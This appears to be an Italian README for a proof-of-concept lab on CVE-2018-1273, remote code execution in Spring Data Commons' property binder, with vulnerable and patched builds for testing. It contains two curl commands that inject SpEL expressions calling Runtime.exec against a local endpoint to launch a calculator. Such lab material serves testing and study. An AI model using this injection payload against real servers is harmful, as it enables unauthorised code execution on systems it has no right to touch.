
PoC per CVE-2018-1273: RCE di Spring Data Commons tramite property binder attraverso parametri di richiesta manipolati contro endpoint REST. Include versioni vulnerabili e corrette per il test.
Spring Data Commons, versioni precedenti da 1.13 a 1.13.10, da 2.0 a 2.0.5, e versioni più vecchie non supportate, contengono una vulnerabilità del property binder causata da una neutralizzazione impropria di elementi speciali. Un utente malintenzionato remoto non autenticato (o attaccante) può fornire parametri di richiesta appositamente modificati contro risorse HTTP basate su Spring Data REST o utilizzando il legame del carico utile della richiesta basato su proiezione di Spring Data, che può portare a un attacco di esecuzione di codice remoto.
Maggiori informazioni qui
L'applicazione può essere testata con la versione vulnerabile o con la versione corretta di Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Esegui il seguente comando per verificare se la vulnerabilità può essere sfruttata:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Creato da https://www.arima.eu
